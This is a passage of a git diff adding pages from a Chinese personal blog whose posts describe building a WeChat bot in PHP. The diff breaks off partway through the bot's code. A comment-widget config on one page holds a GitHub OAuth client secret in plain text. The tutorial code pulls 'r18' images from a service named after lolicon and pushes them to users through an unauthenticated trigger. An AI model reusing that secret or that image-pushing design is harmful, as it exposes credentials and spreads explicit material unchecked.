class="s1">'GET'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s2">"referer: https://www.pixiv.net/"</span><span class="p">))));</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-Type: multipart/form-data; boundary='</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="p">,</span>
<span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"Content-Disposition: filename=</span><span class="se">\"</span><span class="s2">image.png</span><span class="se">\"\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"Content-Type: image/png</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="nv">$file_contents</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"--</span><span class="se">\r\n</span><span class="s2">"</span>
<span class="p">)</span>
<span class="p">));</span>
<span class="k">echo</span> <span class="s1">'&lt;xml&gt;
&lt;ToUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'FROMUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/ToUserName&gt;
&lt;FromUserName&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nv">$vals</span><span class="p">[</span><span class="nv">$index</span><span class="p">[</span><span class="s1">'TOUSERNAME'</span><span class="p">][</span><span class="mi">0</span><span class="p">]][</span><span class="s1">'value'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/FromUserName&gt;
&lt;CreateTime&gt;'</span><span class="mf">.</span><span class="nb">time</span><span class="p">()</span><span class="mf">.</span><span class="s1">'&lt;/CreateTime&gt;
&lt;MsgType&gt;&lt;![CDATA[image]]&gt;&lt;/MsgType&gt;
&lt;Image&gt;
&lt;MediaId&gt;&lt;![CDATA['</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/media/upload?access_token='</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="n">access_token</span><span class="p">]</span><span class="mf">.</span><span class="s1">'&amp;type=image'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'media_id'</span><span class="p">]</span><span class="mf">.</span><span class="s1">']]&gt;&lt;/MediaId&gt;
&lt;/Image&gt;
&lt;/xml&gt;'</span><span class="p">;</span>
</code></pre></div></div>
<p>其实这段代码不是不能工作,只是它不能符合要求,没办法及时的把图片上传到微信服务器上,也没办法及时回复……也许如果有很好的条件,这段代码就可以运行了吧…… </p><p>
我也试过如果不是Pixiv上面的图片而是图片在很小而且也很快的服务器上时这个代码是能运行的。</p>
<h1 id="替代的方案">
<a href="#替代的方案"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 替代的方案
</h1>
<p>我看完文档之后好像也没有主动向用户发送信息的接口只有被动发送的那这5秒问题估计是没法解决了吧……不过我看网上说如果用客服接口好像就没有这样的限制总之我回头试试看吧。 </p><p>
另外我也想了几种方案:</p>
<ol>
<li>每天定时向微信服务器上传图片需要时只发送ID不再在得到请求时再上传。</li>
<li>设置2条命令一条用于向微信服务器上传另一条负责取回。不过这样有个问题就是ID不太好传可能还得缓存一下其实上面那个一样也得缓存。</li>
<li>搞成图文形式,每天定时发送,就像日报一样</li>
</ol>
<p>目前大概就想出这么多,更多的睡起来再慢慢想吧~</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%BE%AE%E4%BF%A1"><em>微信</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E8%81%8A%E5%A4%A9"><em>聊天</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%9C%BA%E5%99%A8%E4%BA%BA"><em>机器人</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=PHP"><em>PHP</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-02-06-wechatbot.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/02/06/wechatbot.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/02/02/serverchan.html">
上一篇自己动手做一个Server酱·TurboMini版
</a>
</span>
<br />
<span class="next">
<a href="/2021/02/09/try2.html">
下一篇Mayx的产品测评
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/02/06/wechatbot', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/02/06/wechatbot.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-17 17:35:53<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>

267
2021/02/09/try2.html Normal file

File diff suppressed because one or more lines are too long

441
2021/02/19/picbot.html Normal file
View File

@@ -0,0 +1,441 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Begin Jekyll SEO tag v2.8.0 -->
<title>如何制作一个能发好图的微信机器人 | Mayx的博客</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="如何制作一个能发好图的微信机器人" />
<meta name="author" content="mayx" />
<meta property="og:locale" content="zh_CN" />
<meta name="description" content="微信不好。PHP" />
<meta property="og:description" content="微信不好。PHP" />
<meta property="og:site_name" content="Mayx的博客" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2021-02-19T00:00:00+08:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="如何制作一个能发好图的微信机器人" />
<meta name="google-site-verification" content="huTYdEesm8NaFymixMNqflyCp6Jfvd615j5Wq1i2PHc" />
<meta name="msvalidate.01" content="0ADFCE64B3557DC4DC5F2DC224C5FDDD" />
<meta name="yandex-verification" content="fc0e535abed800be" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"mayx"},"dateModified":"2021-02-19T00:00:00+08:00","datePublished":"2021-02-19T00:00:00+08:00","description":"微信不好。PHP","headline":"如何制作一个能发好图的微信机器人","mainEntityOfPage":{"@type":"WebPage","@id":"/2021/02/19/picbot.html"},"publisher":{"@type":"Organization","logo":{"@type":"ImageObject","url":"https://avatars0.githubusercontent.com/u/17966333"},"name":"mayx"},"url":"/2021/02/19/picbot.html"}</script>
<!-- End Jekyll SEO tag -->
<link rel="canonical" href="https://mabbs.github.io/2021/02/19/picbot.html" />
<link type="application/atom+xml" rel="alternate" href="/atom.xml" title="Mayx的博客" />
<link rel="alternate" type="application/rss+xml" title="Mayx的博客(RSS)" href="/rss.xml" />
<link rel="alternate" type="application/json" title="Mayx的博客(JSON Feed)" href="/feed.json" />
<link rel="stylesheet" href="/assets/css/style.css?v=1768642553" />
<!--[if !IE]> -->
<link rel="stylesheet" href="/Live2dHistoire/live2d/css/live2d.css" />
<!-- <![endif]-->
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Mayx的博客" />
<link rel="webmention" href="https://webmention.io/mabbs.github.io/webmention" />
<link rel="pingback" href="https://webmention.io/mabbs.github.io/xmlrpc" />
<link rel="preconnect" href="https://summary.mayx.eu.org" crossorigin="anonymous" />
<link rel="prefetch" href="https://www.blogsclub.org/badge/mabbs.github.io" as="image" />
<link rel="blogroll" type="text/xml" href="/blogroll.opml" />
<link rel="me" href="https://github.com/Mabbs" />
<script src="/assets/js/jquery.min.js"></script>
<!--[if lt IE 9]>
<script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery-ajaxtransport-xdomainrequest/1.0.3/jquery.xdomainrequest.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script>
var lastUpdated = new Date("Sat, 17 Jan 2026 17:35:53 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-02-19T00:00:00+08:00">19 February 2021</time> - 字数统计5220 - 阅读大约需要16分钟 - Hits: <span id="/2021/02/19/picbot.html" class="visitors">Loading...</span></small>
<h1 class="p-name">如何制作一个能发好图的微信机器人</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Fri, 19 Feb 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要讲述了作者如何制作一个微信机器人从最初的失败尝试转向使用PHP和第三方API特别是图灵机器人和Lolicon API来发送图片。作者先是描述了失败的聊天机器人尝试然后发现可以通过微信客服接口实现图片发送关键环节包括获取用户输入、调用相应API获取图片、并发送到用户微信。文章还提到在遇到Lolicon API Key次数限制时会采取备用策略。最后更新信息说明了在Key不足时如何处理access_token问题。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#怎么搞">怎么搞</a></li><li><a href="#快点上代码">快点上代码</a></li><li><a href="#怎么用">怎么用?</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>微信不好。PHP<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>前几天,我由于图片机器人做失败了所以做了一个<a href="/2021/02/06/wechatbot.html">聊天机器人</a>但是很可惜人家图灵机器人支持一键接入微信公众号当然测试号不行总而言之做那个什么聊天机器人毫无意义而且我还用的是V1的API功能根本就没发挥出来。 </p><p>
总之,既然目标是做图片机器人,那么就不能就聊天机器人而满足了,正好,今天看到群友分享了一个不错的<a href="https://api.lolicon.app/">API</a>文档写的很清晰而且功能不错我反正也懒得去思考要怎么搞Pixiv上面的图片既然有人已经写好了那就直接用就好了。</p>
<h1 id="怎么搞">
<a href="#怎么搞"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 怎么搞
</h1>
<p>既然图源有了那么要怎么发送图片呢既然听别人说可以用什么客服接口那就再仔细看看那个文档呗。我以前以为那个客服接口必须要生成客服账号啥的很麻烦就没怎么看后来发现好像不用而且只要用户发一句话在48小时内都可以调用这个接口给用户发消息那这么看来就很棒了啊我还以为只有5秒内被动回复一种方法这样我可以直接整个异步过去。具体API的用法可以去看<a href="https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Service_Center_messages.html#7">微信开放文档</a></p>
<h1 id="快点上代码">
<a href="#快点上代码"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 快点上代码
</h1>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$appid</span><span class="o">=</span><span class="n">微信appID</span><span class="p">;</span>
<span class="nv">$secret</span><span class="o">=</span><span class="n">微信appsecret</span><span class="p">;</span>
<span class="nv">$appkey</span><span class="o">=</span><span class="n">图灵机器人APIkey</span><span class="p">;</span>
<span class="nv">$apikey</span><span class="o">=</span><span class="s1">'Lolicon API Key'</span><span class="p">;</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'session.gc_maxlifetime'</span><span class="p">,</span> <span class="mi">7200</span><span class="p">);</span>
<span class="nb">ignore_user_abort</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>
<span class="nb">set_time_limit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="nb">session_id</span><span class="p">(</span><span class="s1">'Storage'</span><span class="p">);</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'ip_list'</span><span class="p">]){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid='</span><span class="mf">.</span><span class="nv">$appid</span><span class="mf">.</span><span class="s1">'&amp;secret='</span><span class="mf">.</span><span class="nv">$secret</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'access_token'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"upap"</span><span class="p">]){</span>
<span class="nb">define</span><span class="p">(</span><span class="s1">'MULTIPART_BOUNDARY'</span><span class="p">,</span> <span class="s1">'--------------------------'</span><span class="mf">.</span><span class="nb">microtime</span><span class="p">(</span><span class="kc">true</span><span class="p">));</span>
<span class="nv">$picurl</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.lolicon.app/setu/?r18=1&amp;size1200=1&amp;apikey='</span><span class="mf">.</span><span class="nv">$apikey</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'data'</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s1">'url'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$picurl</span><span class="p">){</span>
<span class="nv">$picurl</span><span class="o">=</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.lolicon.app/setu/?r18=1&amp;size1200=1'</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'data'</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s1">'url'</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nv">$picurl</span><span class="p">){</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span> <span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-type: application/json;charset=utf-8'</span><span class="p">,</span><span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s1">'{
"touser":"'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"openid"</span><span class="p">]</span><span class="mf">.</span><span class="s1">'",
"msgtype":"text",
"text":
{
"content":"很抱歉获取失败可能是API次数达到上限请明天再试"
}
}'</span><span class="p">))));</span>
<span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>
<span class="nv">$context</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span>
<span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-Type: multipart/form-data; boundary='</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="p">,</span>
<span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"Content-Disposition: filename=</span><span class="se">\"</span><span class="s2">image.png</span><span class="se">\"\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"Content-Type: image/png</span><span class="se">\r\n\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$picurl</span><span class="p">)</span><span class="mf">.</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="mf">.</span>
<span class="s2">"--"</span><span class="mf">.</span><span class="no">MULTIPART_BOUNDARY</span><span class="mf">.</span><span class="s2">"--</span><span class="se">\r\n</span><span class="s2">"</span>
<span class="p">)</span>
<span class="p">));</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span> <span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nb">stream_context_create</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="s1">'http'</span> <span class="o">=&gt;</span> <span class="k">array</span><span class="p">(</span><span class="s1">'method'</span> <span class="o">=&gt;</span> <span class="s1">'POST'</span><span class="p">,</span><span class="s1">'header'</span> <span class="o">=&gt;</span> <span class="s1">'Content-type: application/json;charset=utf-8'</span><span class="p">,</span><span class="s1">'content'</span> <span class="o">=&gt;</span> <span class="s1">'{
"touser":"'</span><span class="mf">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"openid"</span><span class="p">]</span><span class="mf">.</span><span class="s1">'",
"msgtype":"image",
"image":
{
"media_id":"'</span><span class="mf">.</span><span class="nb">json_decode</span><span class="p">(</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'https://api.weixin.qq.com/cgi-bin/media/upload?access_token='</span><span class="mf">.</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'access_token'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'&amp;type=image'</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$context</span><span class="p">),</span><span class="kc">true</span><span class="p">)[</span><span class="s1">'media_id'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'"
}
}'</span><span class="p">))));</span>
<span class="k">exit</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">checkSignature</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$signature</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"signature"</span><span class="p">];</span>
<span class="nv">$timestamp</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"timestamp"</span><span class="p">];</span>
<span class="nv">$nonce</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"nonce"</span><span class="p">];</span>
<span class="nv">$token</span> <span class="o">=</span> <span class="s1">'mayx'</span><span class="p">;</span>
<span class="nv">$tmpArr</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span> <span class="nv">$timestamp</span><span class="p">,</span> <span class="nv">$nonce</span><span class="p">);</span>
<span class="nb">sort</span><span class="p">(</span><span class="nv">$tmpArr</span><span class="p">,</span> <span class="no">SORT_STRING</span><span class="p">);</span>
<span class="nv">$tmpStr</span> <span class="o">=</span> <span class="nb">implode</span><span class="p">(</span> <span class="nv">$tmpArr</span> <span class="p">);</span>
<span class="nv">$tmpStr</span> <span class="o">=</span> <span class="nb">sha1</span><span class="p">(</span> <span class="nv">$tmpStr</span> <span class="p">);</span>
<span class="k">if</span><span class="p">(</span> <span class="nv">$tmpStr</span> <span class="o">==</span> <span class="nv">$signature</span> <span class="p">){</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nf">checkSignature</span><span class="p">()){</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">]){</span>
<span class="k">echo</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"echostr"</span><span class="p">];</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="c1">// 加载XML内容</span>
<span class="nv">$content</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s2">"php://input"</span><span class="p">);</span>
<span class="nv">$p</span> <span class="o">=</span> <span class="nb">xml_parser_create</span><span class="p">();</span>
<span class="nb">xml_parse_into_struct</span><span class="p">(</span><span class="nv">$p</span><span class="p">,</span> <span class="nv">$content</span><span class="p">,</span> <span class="nv">$vals</span><span class="p">,</span> <span class="nv">$index</span><span class="p">);</span>
<span class="nb">xml_parser_free</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
